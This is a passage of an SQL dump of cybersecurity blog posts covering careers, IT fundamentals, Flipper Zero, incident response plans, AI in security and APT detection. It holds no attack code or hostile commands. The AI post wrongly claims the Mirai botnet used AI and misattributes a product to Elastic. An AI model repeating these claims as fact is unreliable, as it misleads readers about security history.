platforms. They implement access controls, monitor for threats, and ensure systems are compliant with cloud regulations.\n\n**Why It Matters:**\n\nCloud expertise is in short supply, making this one of the most sought-after roles in cybersecurity today.\n\n## Making the Transition\n\nEager to branch out into one of these roles? Here’s how to make a seamless transition into your ideal cybersecurity career.\n\n### Build Foundational IT Skills\n\nIf you’re new to cybersecurity, start with roles like system administrator, software developer, or helpdesk technician. These will provide a solid foundation in IT and networking principles.\n\n### Specialize and Gain Certifications\n\nCertifications are often a critical stepping stone in cybersecurity. Some valuable ones include:\n\n- **CISSP (Certified Information Systems Security Professional):** Perfect for advanced roles like cybersecurity architect or GRC specialist.\n- **CISM (Certified Information Security Manager):** Ideal for governance and compliance roles.\n- **CEH (Certified Ethical Hacker):** Helpful if you want to enhance your penetration testing skills or transition into a SOC analyst role.\n\n### Gain Practical Experience\n\nHands-on experience is vital. Look for internships, contribute to open-source projects, or invest in lab environments like TryHackMe and Hack The Box.\n\n### Stay Current Through Continuous Learning\n\nCybersecurity evolves rapidly. Attend webinars, follow cybersecurity blogs, and participate in niche forums or events like Black Hat or DEF CON. Staying ahead requires staying informed.\n\n## A Rewarding Cybersecurity Career Awaits\n\nCybersecurity is an expansive field with opportunities far beyond pentesting. Whether you become a security engineer, cloud security specialist, or GRC expert, each role offers its own challenges and rewards.\n\nThe key is to explore your interests, focus on building the right skills, and stay adaptable in this ever-changing industry. By doing so, you’ll not only advance your career but also play a critical role in safeguarding the digital world.', '', 'http://infoseclabs.io/uploads/1767564951123-96955238.png', 'Various cybersecurity professionals collaborating in an office setting', 1, 'published', '2026-01-04 09:15:00', '2026-01-05 01:19:09', 'Information Security', 'Explore Cybersecurity Careers Beyond Pentesting', 'Discover diverse, rewarding cybersecurity careers beyond pentesting. Explore roles like Security Engineer, SOC Analyst, and more.', 'Cybersecurity Careers');
INSERT INTO `blog_posts` (`id`, `title`, `slug`, `content`, `excerpt`, `featured_image`, `featured_image_alt`, `author_id`, `status`, `created_at`, `updated_at`, `category`, `seo_title`, `seo_description`, `focus_keyword`) VALUES
(18, 'Kickstart Your Cybersecurity Career: Essential IT Fundamentals You Need to Know', 'kickstart-your-cybersecurity-career-essential-it-fundamentals-you-need-to-know', '# Kickstart Your Cybersecurity Career: Mastering IT Fundamentals\n\nAre you intrigued by the dynamic world of cybersecurity but unsure how to take the first step? A successful career in cybersecurity begins with mastering the fundamentals of IT. Understanding the essential concepts of hardware, software, networking, applications, and basic security practices not only lays a strong foundation but also equips you to tackle real-world challenges with confidence.\n\nThis guide will walk you through why IT knowledge is indispensable for cybersecurity, the core areas you need to focus on, how to acquire these skills, and the exciting career paths you can pursue in this field.\n\n## Why IT Fundamentals Matter for Cybersecurity\n\nBefore you can secure technology, you need to understand how it works. IT fundamentals give you the essential skills to configure and troubleshoot hardware, grasp how networking facilitates communication, identify vulnerabilities in systems and applications, and comprehend core cybersecurity principles.\n\nThink of IT knowledge as the stepping stone to your cybersecurity career. For instance, without a solid understanding of how a Layer 2 switch operates, implementing port security on that switch would be nearly impossible. Similarly, familiarity with operating systems like Windows or Linux is crucial for effectively deploying advanced tools and processes in the future.\n\nUnderstanding IT gives you the power to analyze and resolve technical issues, secure systems proactively, and build innovative solutions to protect sensitive information.\n\n## The Five Core Categories of IT Fundamentals\n\nTo build a strong IT foundation, focus on mastering these five categories. Each one plays a critical role in shaping your cybersecurity expertise.\n\n### 1. Hardware\n\nLearn the physical components of computers, such as processors, memory, and storage. Knowing how hardware works enables you to identify and resolve potential issues like faulty wiring or overheating. Mastering hardware configuration also sets the stage for securing physical devices against unauthorized access.\n\n### 2. Software\n\nExplore the world of operating systems and applications. Understand the basics of programs like word processors, browser clients, and operating systems such as Windows, macOS, and Linux. Gaining this knowledge allows you to analyze how software functions, which is vital for identifying vulnerabilities or misconfigurations.\n\n### 3. Networking\n\nNetworking is the backbone of modern communication, making it a critical area to understand. Learn how devices connect, share resources, and transfer data across networks. Concepts like IP addresses, protocols, and network topologies are key to identifying potential points of failure or attack.\n\n### 4. Applications\n\nApplications are the tools we use daily to accomplish specific tasks. From email clients to customer relationship management (CRM) software, understanding how applications interact with operating systems and hardware is crucial to ensuring their security and performance.\n\n### 5. Security Basics\n\nNo system is entirely free of risk. Security fundamentals teach you to recognize vulnerabilities, assess risks, and implement proactive defenses. Gain insight into best practices for password management, encryption, and patch updates to minimize threats.\n\nThese building blocks ensure that you have a comprehensive understanding of technology before advancing into more complex cybersecurity concepts.\n\n## Essential Skills to Acquire\n\nAspiring cybersecurity professionals should focus on acquiring specific IT skills that directly apply to real-world challenges. Here are a few necessary skills to get you started:\n\n- **Hardware Configuration**: Assemble and troubleshoot computer systems to fully understand their physical components.\n- **Operating System Management**: Learn how to install, configure, and maintain OS environments like Windows and Linux.\n- **Network Troubleshooting**: Gain practical knowledge in diagnosing and resolving connectivity issues.\n- **Threat Identification**: Learn how to spot and mitigate security threats, such as malware or phishing attempts.\n- **Ethical Hacking**: Understand the basics of offensive security measures, such as penetration testing, in a controlled and ethical environment.\n\nThese skills not only make you well-rounded but also prepare you to specialize in areas like digital forensics or penetration testing.\n\n## How to Learn IT Fundamentals\n\nFortunately, there’s a wealth of resources to help you learn IT fundamentals and cybersecurity basics. Whether you prefer structured courses or hands-on practice, there’s something for everyone.\n\n### Online Platforms\n\n- **FreeCodeCamp** offers free, beginner-friendly lessons on IT basics.\n- **Udemy** has courses like [Complete Introduction to Cybersecurity](https://udemy.com/course/complete-introduction-to-cybersecurity) by Grant Collins, which covers IT and cybersecurity fundamentals for beginners.\n- **YouTube** provides in-depth tutorials from trusted sources like Google and online tech communities.\n\n### Certification Programs\n\nCertifications validate your knowledge and show employers that you’re serious about your career. Consider starting with foundational credentials like CompTIA IT Fundamentals (ITF+) or Cisco’s CCNA certification.\n\n### Community Engagement\n\nJoin online communities, attend webinars, and participate in live Q&A sessions. Groups like Cybercademy provide career advice, security projects, and support networks for professionals and students.\n\n### Hands-On Practice\n\nSet up virtual environments, like Kali Linux virtual machines, to experiment safely. Test tools and configurations to gain real-world experience.\n\nPractical projects not only enhance your technical skills but also build confidence as you apply theoretical knowledge to solve problems.\n\n## Cybersecurity Career Paths\n\nOnce you’ve mastered the basics, you’ll be ready to explore specialized roles within cybersecurity. Here are some popular career paths to consider:\n\n### Security Analyst\n\n- **Responsibilities**: Monitor and analyze security threats, respond to incidents, and implement security measures.\n- **Skills Needed**: Incident response, threat analysis, and knowledge of SIEM tools.\n\n### Network Engineer\n\n- **Responsibilities**: Design, implement, and maintain secure network architectures.\n- **Skills Needed**: Networking protocols, firewall configuration, and VPN setup.\n\n### Cybersecurity Consultant\n\n- **Responsibilities**: Assess organizational security risks, provide recommendations, and develop strategies to safeguard systems.\n- **Skills Needed**: Risk assessment, policy development, and regulatory compliance knowledge.\n\nEach role offers unique challenges and opportunities, allowing you to make a meaningful impact by defending businesses against cyber threats.\n\n## Start Building Your Cybersecurity Knowledge\n\nCybersecurity is an exciting and rewarding field, but a clear foundational knowledge is essential for success. Understanding IT fundamentals equips you with the skills and confidence needed to tackle advanced cybersecurity concepts down the line.\n\nBegin your educational journey today with resources that fit your learning style. Whether through online courses, practice projects, or community interactions, consistent learning and hands-on experience will pave the way for a successful cybersecurity career.', '', 'http://infoseclabs.io/uploads/1767565249662-511498932.jpeg', 'Person studying IT fundamentals for cybersecurity career', 1, 'published', '2026-01-04 09:19:00', '2026-01-05 01:20:50', 'Information Security', 'Start Your Cybersecurity Career: IT Essentials', 'Discover essential IT fundamentals to launch a successful cybersecurity career. Learn hardware, software, networking, and more.', 'IT fundamentals'),
(19, 'Flipper Zero: The Ultimate Starter Tool for Aspiring Cybersecurity Experts?', 'flipper-zero-the-ultimate-starter-tool-for-aspiring-cybersecurity-experts', '# Exploring Cybersecurity: Is Flipper Zero the Right Starting Point?\n\nIf you\'re venturing into the vast world of cybersecurity, you\'ve probably encountered the term \"Flipper Zero.\" This versatile device has gained popularity among ethical hackers, tech hobbyists, and security enthusiasts. With a sleek design and an adorable dolphin mascot, Flipper Zero is a portable hacking tool capable of exploring, analyzing, and interacting with various digital systems. But is it the best choice for beginners, or are there better alternatives for starting your cybersecurity journey?\n\nThis blog will guide you by exploring Flipper Zero\'s capabilities, assessing its pros and cons for beginners, and introducing alternative ways to build strong foundational skills in cybersecurity.\n\n## Is Flipper Zero a Good Starting Point for Cybersecurity?\n\nTo put it simply, Flipper Zero can be *a tool*, but it might not be *the tool* to begin your cybersecurity exploration. Let\'s break it down.\n\n### What Is Flipper Zero?\n\nFlipper Zero is a multifunctional device designed primarily for security testing and research. It leverages common communication protocols like RFID, NFC, infrared, and Bluetooth, making it useful for learning how these technologies function and exploring their vulnerabilities. With Flipper Zero, you can analyze signals, capture data packets, and even experiment with embedded hardware such as radio frequencies.\n\n### Pros of Starting with Flipper Zero\n\n- **Hands-on Insight into Various Technologies:** Flipper Zero offers real-world exposure to communication protocols such as RFID and NFC.\n- **Portable and Beginner-Friendly:** Its playful interface is unintimidating, making it a fun starting point for beginners with a tech affinity.\n- **Affordable Entry into Hardware Hacking:** Compared to high-end hardware hacking tools, Flipper Zero is relatively budget-friendly.\n- **Community Support:** The Flipper Zero community is active and ready to help new users experiment and troubleshoot.\n\n### Cons of Starting with Flipper Zero\n\n- **Limited Learning Scope for Beginners:** While it\'s great for hardware hacking, Flipper Zero doesn’t cover critical cybersecurity foundations like ethical hacking principles, network security basics, or malware analysis.\n- **Steep Learning Curve Without Context:** Without a foundational understanding of cybersecurity concepts, beginners may find the tool intimidating or struggle to use it meaningfully.\n- **Risk of Misuse:** Depending on where and how it\'s used, Flipper Zero may unintentionally steer newcomers toward ethically ambiguous practices.\n\n**Bottom Line:** While Flipper Zero is an excellent supplementary tool for intermediate users or those with technical know-how, it’s not an all-encompassing resource for beginners. You\'ll need additional learning pathways to properly establish a clear cybersecurity foundation.\n\n## What Are the Best Alternatives for Beginners?\n\nIf you’re just starting, opting for tools and platforms designed to teach foundational cybersecurity concepts might be a better path. Here are some beginner-friendly resources you can explore.\n\n### 1. Learning Platforms and Tutorials\n\n- **Hack The Box:** A platform with hands-on labs tailored for all skill levels. They offer challenges ranging from simple exercises to complex simulations.\n- **TryHackMe:** Beginner-friendly tutorials that incorporate guided instructions and hands-on challenges to get you started with ethical hacking and cybersecurity concepts.\n- **Cybrary:** A learning hub with free and paid courses on penetration testing, digital forensics, and more.\n- **Codecademy and FreeCodeCamp:** Great for learning programming languages like Python, which is crucial in cybersecurity.\n\n### 2. Open Source Tools\n\n- **Kali Linux:** One of the most popular operating systems for penetration testing and ethical hacking.\n- **Wireshark:** Essential for network analysis and learning how data moves across systems.\n- **Metasploit Framework:** A penetration testing tool perfect for learning about exploit techniques and system vulnerabilities.\n\n### 3. Beginner-Friendly Devices\n\nIf you’re interested in hardware hacking specifically, consider starting with simpler tools like Raspberry Pi or Arduino. These low-cost, flexible devices allow you to experiment with IoT (Internet of Things) security and basic electronics hacking before jumping to multi-functional tools like Flipper Zero.\n\n## Create a Structured Learning Path\n\nA thoughtful learning path will help you build a solid foundation and maintain consistent progress. Here\'s a simple roadmap to get started.\n\n### Step 1. Learn the Basics\n\nStart with free cybersecurity primers or videos on platforms like YouTube. Specifically, look into topics such as:\n\n- What is cybersecurity?\n- Understanding common threats (e.g., phishing, malware, ransomware).\n- Introduction to ethical hacking principles.\n\n### Step 2. Get Certified\n\nEarning certifications is a great way to build credentials and structure your learning. Here are beginner-friendly certifications to consider:\n\n- **CompTIA Security+:** A certification that covers network security fundamentals.\n- **Certified Ethical Hacker (CEH):** A foundational course to help you understand ethical hacking practices.\n- **Certified Information Systems Security Professional (CISSP):** For those aiming to take cybersecurity professionally.\n\n### Step 3. Choose a Specialization\n\nCybersecurity spans many fields, including network security, malware analysis, penetration testing, and cloud security. Once you\'ve learned the basics, explore various fields to find what interests you the most.\n\n### Step 4. Hands-On Practice\n\nApply your knowledge by solving challenges, participating in Capture The Flag (CTF) competitions, or completing simulations on HackerOne or Bugcrowd.\n\n## Why Hands-On Experience Matters\n\nTheory can only take you so far. Gaining practical experience will help you develop key problem-solving skills and confidence. Start small—for example, use Wireshark to monitor the security of your home network. Platforms like Hack The Box and TryHackMe are also excellent for setting up virtual labs where you can safely practice without real-world consequences.\n\n## Connect with the Cybersecurity Community\n\nOne of the most underrated tools for success? Networking. Engaging with experienced people in cybersecurity can expose you to valuable advice, job opportunities, and learning resources.\n\n### Communities to Join\n\n- **Cybersecurity Subreddits (e.g., r/AskNetsec):** Great for asking questions or discussing cybersecurity trends.\n- **LinkedIn Groups:** Connect with professionals and stay updated on industry news. \n\nEngage with these communities to enhance your learning and career prospects in cybersecurity.', '', 'http://infoseclabs.io/uploads/1767565511958-305863866.png', 'Flipper Zero device showcasing its interface and dolphin mascot', 1, 'published', '2026-01-04 17:24:00', '2026-01-05 01:25:21', 'Information Security', 'Flipper Zero: Best Beginner Tool for Cybersecurity?', 'Discover if Flipper Zero is ideal for cybersecurity beginners. Explore its pros, cons, and alternatives to start your journey.', 'Flipper Zero'),
(20, 'Why Every Organization Needs an Incident Response Plan for Cybersecurity', 'why-every-organization-needs-an-incident-response-plan-for-cybersecurity', '# What Is an Incident Response Plan (IRP) and Why Does Your Business Need One?\n\nIn today’s fast-paced digital landscape, cyber threats are becoming more advanced, and businesses can no longer afford to be reactive about cybersecurity. A single data breach or ransomware attack can bring operations to a halt, costing millions and damaging your reputation.\n\nThis is where an **Incident Response Plan (IRP)** comes in. Think of it as your organization’s cybersecurity playbook—a guide to managing and mitigating the damage caused by cyberattacks. A well-crafted IRP not only minimizes downtime but also ensures faster recovery, saving your business time, money, and stress.\n\nThis guide will explain why an IRP is essential, how it protects your business from cyber threats, and the steps to create, test, and improve it.\n\n---\n\n## Why Is an Incident Response Plan Important?\n\nWithout a solid plan in place, businesses are left scrambling to deal with cyberattacks, leading to chaos, delays, and greater financial losses. An **Incident Response Plan** is the backbone of effective cybersecurity, helping businesses stay resilient against threats. Here’s why every organization needs one:\n\n### 1. Minimize Downtime\n\nEvery second counts during a cyberattack. A strong IRP gives your team clear steps to follow, reducing system downtime and restoring operations quickly.\n\n### 2. Reduce Financial and Reputational Damage\n\nCyberattacks can result in regulatory fines, business losses, and a tarnished brand image. A swift and transparent response, guided by an IRP, can minimize these impacts.\n\n### 3. Ensure Regulatory Compliance\n\nMany industries require organizations to have an IRP as part of their cybersecurity measures. For example, companies under **GDPR**, **HIPAA**, or similar regulations must demonstrate they have plans in place to manage data breaches.\n\n### 4. Boost Customer Trust\n\nClients trust companies that can handle cyber threats effectively. A demonstrated ability to respond to incidents builds confidence and strengthens customer relationships.\n\n### 5. Reduce Stress for IT Teams\n\nCybersecurity teams face enormous pressure during an attack. An IRP eliminates the guesswork, helping them make better decisions and reducing stress.\n\n---\n\n## Components of an Effective Incident Response Plan\n\nA great IRP is more than a document—it’s a strategic guide with clear roles, processes, and actionable steps. Here are the key elements:\n\n### 1. Team Roles and Responsibilities\n\nDefine who does what during an incident. Your team may include an Incident Response Manager, IT Security Analysts, Communication Managers, and legal advisors.\n\n### 2. Incident Identification and Classification\n\nEstablish criteria for identifying incidents and their severity levels. Knowing whether a threat is minor or critical helps prioritize resources.\n\n### 3. Actionable Playbook for Threats\n\nOutline specific steps for containment, eradication, and recovery. Include backup options in case primary systems fail.\n\n### 4. Communication Protocols\n\nPlan how to share information during a crisis, both internally (IT team, executives, employees) and externally (customers, partners, regulators).\n\n### 5. Legal and Compliance Requirements\n\nDocument steps to meet legal obligations, such as notifying affected users or regulatory bodies of a data breach within the required timeline.\n\n### 6. Post-Incident Review\n\nInclude a process for reviewing incidents to identify weaknesses and improve future responses.\n\n---\n\n## How to Create an Incident Response Plan\n\nBuilding an effective IRP takes time and planning. Here are the essential steps:\n\n### Step 1. Assess Your Cybersecurity Risks\n\nIdentify your organization’s vulnerabilities. Are ransomware attacks, phishing scams, or insider threats more likely? Understanding your risks is the foundation of your plan.\n\n### Step 2. Identify Critical Assets\n\nList the most important assets to protect, such as customer data, intellectual property, or systems critical to daily operations.\n\n### Step 3. Assemble Your Incident Response Team (IRT)\n\nForm a team with defined roles, including IT staff, legal advisors, and PR experts to manage internal and external communications.\n\n### Step 4. Write a Threat Response Playbook\n\nCreate detailed steps for handling specific threats, such as ransomware, DDoS attacks, or phishing. Keep the instructions clear and easy to follow.\n\n### Step 5. Set Up Incident Documentation\n\nDevelop a system to log incidents, track how they were detected, and record steps taken to resolve them. This helps improve future responses.\n\n### Step 6. Train Employees\n\nTrain all employees—not just IT—on how to recognize and report potential threats. Cybersecurity is a team effort, and awareness is key.\n\n---\n\n## Testing and Improving Your Incident Response Plan\n\nAn IRP needs regular testing and updates to remain effective in the face of evolving cyber threats. Here’s how to keep it up to date:\n\n### 1. Simulate Real Attacks\n\nConduct mock phishing campaigns, malware simulations, or tabletop exercises to test how well your team responds.\n\n### 2. Gather Feedback\n\nAfter a test or real incident, ask your team what worked and what didn’t. Use this input to refine your plan.\n\n### 3. Update Regularly\n\nCyber threats and technologies evolve quickly. Update your IRP to include lessons learned, new tools, and regulatory changes.\n\n### 4. Track Key Metrics\n\nMonitor how long it takes to detect, contain, and recover from incidents. Set goals to improve these response times.\n\n### 5. Foster a Culture of Improvement\n\nTreat every incident and exercise as a learning opportunity. Share findings across teams to ensure everyone is informed and prepared.\n\n---\n\n## Build Resilience with a Strong Incident Response Plan\n\nA well-designed **Incident Response Plan** is essential in today’s cyber landscape. It’s not just a tool for IT teams—it’s a critical part of protecting your business, your customers, and your reputation. With an IRP, you can minimize downtime, reduce costs, and recover faster when faced with cyber threats.\n\nCybersecurity is no longer optional. Whether you’re a business owner or an IT professional, building and refining an IRP is a vital step toward long-term resilience and success. Start today to stay ahead of evolving cyber risks and protect what matters most.', '', 'http://infoseclabs.io/uploads/1767586151372-678797972.png', 'Illustration of a business team executing a cybersecurity incident response plan', 1, 'published', '2026-01-04 23:08:00', '2026-01-05 07:09:23', 'Information Security', 'Essential Cybersecurity: Incident Response Plans', 'Discover why an Incident Response Plan is crucial for protecting your business from cyber threats and minimizing damage.', 'Incident Response Plan'),
(21, 'The Impact of AI on Cybersecurity: Opportunities and Threats', 'the-impact-of-ai-on-cybersecurity-opportunities-and-threats', '# The Impact of Artificial Intelligence on Cybersecurity\n\nArtificial intelligence (AI) is transforming industries across the globe, and cybersecurity is no exception. From enhancing threat detection and response to redefining how we approach online defenses, AI has become a powerful ally. However, it has also created new threats by amplifying the capabilities of cybercriminals.\n\nThis post explores the dual nature of AI within the realm of cybersecurity. You\'ll learn about its opportunities, risks, real-world applications, and the trends shaping its future.\n\n## How AI is Revolutionizing Cybersecurity\n\nCyber threats are more sophisticated and persistent than ever. Traditional, reactive security systems often fall short in detecting and mitigating attacks quickly. Enter AI, which has proven to be a game-changer.\n\nAI in cybersecurity excels at recognizing patterns within enormous datasets, detecting abnormalities, and responding to potential threats with speed and accuracy. It paves the way for smarter, more efficient security protocols, ultimately reshaping how organizations tackle security challenges. But as with every powerful tool, AI opens doors for both defenders and attackers.\n\n### Why AI Matters in Cybersecurity\n\n- **Volume of Threats**: Cyber threats are increasing; AI helps organizations tackle this growing challenge efficiently.\n- **Real-time Responses**: AI-driven tools offer proactive rather than reactive measures.\n- **Complexity of Patterns**: Threat detection has evolved beyond detecting \"red flags.\" Machine learning (ML) algorithms recognize complex malicious behavior patterns.\n\n## Opportunities Created by AI in Cybersecurity\n\nAI brings a wealth of opportunities to cybersecurity professionals, giving defensive systems a critical edge.\n\n### Automated Threat Detection\n\nAI can analyze vast amounts of data to identify abnormal patterns in user behavior, network traffic, or application usage. This capability minimizes an organization\'s time-to-detect (TTD) and containment of cyberattacks, which is crucial in reducing damage.\n\n**Example:** AI-driven Security Information and Event Management (SIEM) platforms leverage ML to detect anomalies in real-time. Systems like Elastic\'s Observe.ai and IBM QRadar continuously improve their accuracy over time.\n\n### Enhanced Malware Detection\n\nAI’s ability to recognize nuanced patterns means it can detect and block even \"zero-day\" malware attacks. Unlike traditional systems requiring rule-based detection, AI tools analyze the behavior of files before they execute, flagging suspicious activity.\n\n### Improved Phishing Protection\n\nPhishing attacks are among the most common cyber threats, and AI plays a vital role in combating them:\n\n- AI tools scan emails for patterns and keywords associated with phishing.\n- Natural language processing (NLP) allows AI to identify tone and wording suggestive of fraudulent emails.\n\n### Faster Incident Response\n\nUsing predictive analytics, AI can suggest remediation measures more quickly than human analysts. Automated responses also reduce reliance on manpower, saving organizations time and financial resources.\n\n### Vulnerability Management\n\nAI tools like Tenable.io automate vulnerability scanning, identifying weaknesses before attackers can exploit them. AI continuously learns from data across networks, systems, and endpoints to maintain an up-to-date understanding of organizational threats.\n\n## Threats Posed by AI in Cybersecurity\n\nDespite its promise, AI has a darker side. It introduces threats that are making cybercriminals more dangerous than ever before.\n\n### AI-driven Cyberattacks\n\nAttackers are already leveraging AI to carry out highly targeted and efficient attacks:\n\n- AI is used to crack passwords faster than brute-force tools.\n- Malware is evolving, using AI capabilities to spread autonomously and adapt to anti-malware measures.\n\n### Deepfake Technology\n\nDeepfakes are AI-generated videos or audio recordings that simulate real people’s appearances or voices. This growing threat can be used for:\n\n- Impersonating executives to facilitate wire fraud (e.g., \"CEO voice scams\").\n- Creating fake videos to spread misinformation or cause reputational harm.\n\n### Exploitation of AI Systems\n\nCybercriminals are turning AI itself into a target:\n\n- They manipulate AI\'s training data to produce false positives or negatives, weakening its effectiveness.\n- Hackers exploit vulnerabilities in AI models to carry out adversarial attacks, which alter input data in a way that causes AI tools to malfunction.\n\n### Weaponization of Data\n\nAI needs massive datasets for training, but these datasets are often sensitive and retrievable. Should an attacker gain access, they can exploit or sell this stolen information.\n\n## Real-world Cases of AI in Cybersecurity\n\n### IBM’s Watson for Cybersecurity\n\nIBM Watson uses AI to analyze and interpret thousands of threat reports daily, shortening the time it takes security analysts to interpret threat intelligence and respond.\n\n**Impact:** Reduced threat analysis time and improved security postures for large organizations.\n\n### Google’s Chronicle Backstory\n\nChronicle, a cybersecurity tool by Google, uses AI to parse and correlate data across an organization’s infrastructure. This narrows down potential threats with incredible speed and accuracy.\n\n**Impact:** AI enhances internal threat hunting, detecting behavior that evades standard tools.\n\n### AI-powered Botnets\n\nUnfortunately, AI also empowers attackers. The infamous Mirai botnet used AI to infect IoT devices worldwide, leading to massive distributed denial-of-service (DDoS) attacks in 2016.\n\n**Impact:** Highlighted vulnerabilities in IoT devices while showcasing how AI can power large-scale attacks.\n\n## Future Trends in AI and Cybersecurity\n\n### Adaptive Security Systems\n\nWe foresee traditional, static security systems giving way to AI-powered adaptive systems capable of evolving to meet dynamic threats. These systems will detect, analyze, and respond based on real-time scenarios, offering a more resilient defense.\n\n### The Rise of Federated Learning\n\nFederated learning allows AI models to be trained on decentralized datasets without transferring sensitive data. This technique will enhance privacy while ensuring robust threat detection.\n\n### AI Collaboration\n\nFuture cybersecurity tools will lean on collaborative AI. For example, algorithms from multiple organizations may share anonymized data on emerging threats, creating a unified front against cyber criminals.\n\n### Regulation of AI in Cybersecurity\n\nGovernments and regulatory bodies will likely introduce stricter frameworks to govern the ethical and controlled use of AI tools. These regulations will balance innovation with security.\n\n## Strengthening Defenses with AI\n\nThe intersection of AI and cybersecurity is an exciting, high-stakes domain. While AI is a potent enabler of security advancements, it also presents new challenges that must be carefully managed. As we move forward, the collaboration between AI technologies and human expertise will be crucial in fortifying our defenses against cyber threats.', '', 'http://infoseclabs.io/uploads/1767586386191-18351172.png', 'AI-enhanced cybersecurity defense illustration', 1, 'published', '2026-01-05 15:12:00', '2026-01-06 04:37:20', 'Information Security', 'AI\'s Role in Cybersecurity: Opportunities & Threats', 'Explore how AI transforms cybersecurity, enhancing defenses and introducing new risks. Discover its dual impact and future trends.', 'AI cybersecurity'),
(22, 'Security Tool Analyst vs. Security Alerts Without Tools: Which Approach is Best?', 'security-tool-analyst-vs-security-alerts-without-tools-which-approach-is-best', '# Exploring Cybersecurity: Tools vs. Manual Analysis\n\nCybersecurity is a rapidly evolving field where protecting digital assets is critical for organizations of all sizes. With advancements in both threats and defenses, there is often debate over the best approach to security. Should we rely on technology and tools or focus on manual security alert analysis? What approach is more effective for job interviews, and do professionals really need to learn Digital Forensics and Incident Response (DFIR) manually?\n\nThis blog delves into these questions by exploring the roles of security tool analysts, examining the process of handling alerts without tools, and discussing their implications for career development and hiring. Read on to determine which approach aligns with your goals and how best to prepare for the evolving world of cybersecurity.\n\n## What is a Security Tool Analyst?\n\nSecurity tool analysts are professionals who work with software and tools specifically designed to detect, manage, and respond to security threats. Their role revolves around leveraging automated systems and platforms, such as:\n\n- SIEM (Security Information and Event Management) solutions\n- EDR (Endpoint Detection and Response) tools\n- Intrusion detection systems\n\nThese tools help analyze logs, monitor suspicious activities, and respond to security incidents efficiently.\n\n### Key Responsibilities of a Security Tool Analyst\n\n- Configuring and maintaining security tools used for threat detection.\n- Monitoring dashboards and analyzing alerts generated by security tools.\n- Investigating flagged incidents to determine their impact and severity.\n- Creating reports based on findings and providing recommendations.\n\nTools such as Splunk, QRadar, and CrowdStrike often form the backbone of their workflow, offering automation and insights critical to modern cybersecurity.\n\n### Advantages of Security Tools\n\n1. **Efficiency**: Tools automate repetitive tasks, allowing analysts to manage larger volumes of data in less time.\n2. **Accuracy**: Many tools detect intricate patterns that may be missed by manual observation, reducing the chance of human error.\n3. **Scalability**: Better suited for handling complex, large-scale networks with continuously growing traffic.\n\nHowever, reliance on tools comes with its challenges, such as overdependence and a potential gap in understanding the deeper technical mechanisms behind alerts.\n\n## Security Alerts Without Tools: A Hands-On Approach\n\nOn the other hand, some cybersecurity professionals believe in adopting manual approaches to monitoring and analyzing security alerts. This involves sifting through raw logs, network data, and endpoint activity without the use of advanced software solutions.\n\n### Challenges of Working Without Tools\n\n- **Time-Intensive**: Manually detecting, validating, and responding to alerts takes a significant amount of time.\n- **Prone to Errors**: Relying solely on human judgment can lead to mistakes, especially under time pressure.\n- **Resource-Heavy**: Requires deep expertise and consistent focus to manage alerts effectively.\n\nPractitioners argue that this approach sharpens core skills, builds a better understanding of underlying systems, and helps professionals tackle situations where they don’t have access to tools.\n\n### The Argument for Manual Security Analysis\n\nDespite its challenges, manual analysis provides a solid foundation in cybersecurity concepts. It ensures professionals can work in tool-agnostic environments and allows them to rely on expertise rather than software alone.\n\n## Security Tools vs. Manual Security Alerts\n\nWhen it comes to comparing the two approaches, several factors come into play, including efficiency, accuracy, and usability.\n\n| Factor          | Security Tool Analyst                      | Manual Security Alerts                                 |\n|-----------------|--------------------------------------------|--------------------------------------------------------|\n| **Efficiency**  | Highly efficient, especially for large-scale data. | Time-consuming and less practical for high-volume analysis. |\n| **Accuracy**    | Tools reduce human error but require proper tuning. | Deep understanding of systems minimizes false positives. |\n| **Learning Curve** | Easier to adopt with proper training.        | Requires extensive technical expertise and experience.   |\n| **Scalability** | Easily handles enterprise-level networks.   | Limited by human capacity and resources.                |\n\nIt’s clear that each method has its own strengths and weaknesses. For most organizations, the ideal approach is often a combination of both—a reliance on tools to handle efficiency and scale, paired with skilled professionals who can step in when tools fall short.\n\n## What Do Employers Look For in Interviews?\n\nIf you’re preparing for an interview as a security analyst, you may wonder which approach is more valued. The truth is, companies look for a balance between technical proficiency with tools and a foundational understanding of cybersecurity concepts.\n\n### Skills That Stand Out in Interviews\n\n- **Tool Proficiency**: Familiarity with popular platforms like Splunk, Palo Alto, or Elastic Security is almost always a plus.\n- **Problem-Solving**: Hiring managers want to see how you solve problems when tools fail or alerts are ambiguous.\n- **Foundational Knowledge**: A solid grasp of TCP/IP, intrusion detection techniques, and endpoint security matters as much as tool expertise.\n\nApplicants often gain an edge by showcasing their ability to adapt—highlighting how they’ve used tools to solve real-world challenges while demonstrating their capability to analyze security issues manually when needed.\n\n## Do Professionals Need to Learn DFIR Manually?\n\nDigital Forensics and Incident Response (DFIR) plays a critical role in addressing cybersecurity incidents. However, a common question is whether it’s essential for professionals to learn DFIR skills manually.\n\n### Pros of Learning DFIR Manually\n\n- **Deeper Insight**: Understanding the \"why\" and \"how\" behind security alerts helps identify patterns and root causes effectively.\n- **Tool Independence**: Professionals who train manually can perform investigations even without pre-configured software.\n- **Troubleshooting Complex Threats**: Manual skills ensure readiness for incidents that may crash or bypass enterprise security tools.\n\n### Cons of Manual DFIR Learning\n\n- **Time-Intensive**: Manual learning takes significant time and commitment, especially for professionals new to the field.', '', 'http://infoseclabs.io/uploads/1767838334749-937001140.jpg', 'Security analyst comparing automated tools with manual alert analysis', 1, 'published', '2026-01-07 21:12:00', '2026-01-08 05:12:23', 'Information Security', 'Security Tools vs Manual Alerts: Best Cyber Approach?', 'Explore the best cybersecurity approach: automated tools or manual alerts. Understand roles, efficiency, and career implications.', 'Cybersecurity Tools'),
(23, 'How Cybersecurity Professionals Can Detect Advanced Persistent Threats (APTs)', 'how-cybersecurity-professionals-can-detect-advanced-persistent-threats-apts', '# Advanced Persistent Threats: A Comprehensive Guide\n\nAdvanced Persistent Threats (APTs) are among the most sophisticated and potentially devastating cyber threats that organizations face today. These stealthy attackers target sensitive data, critical systems, and intellectual property, often remaining undetected for months or even years. For cybersecurity professionals, the ability to detect and remediate APTs is crucial for defending organizational assets.\n\nThis guide provides an in-depth look at how cybersecurity experts can identify APTs within their networks. We\'ll explore the APT lifecycle, proactive detection measures, effective tools, and real-world case studies, equipping you with practical strategies to stay ahead of these advanced threats.\n\n## Understanding Advanced Persistent Threats\n\n### What Are They and Why Are They Significant?\n\nAdvanced Persistent Threats are prolonged, targeted cyberattacks carried out by sophisticated adversaries, often backed by nation-states or highly organized cybercriminal groups. Unlike opportunistic attacks, APTs are meticulously planned and executed, with the primary goal of stealing sensitive information, causing financial loss, or disrupting operations.\n\nWhat distinguishes APTs from other cyber threats is their **persistence** and 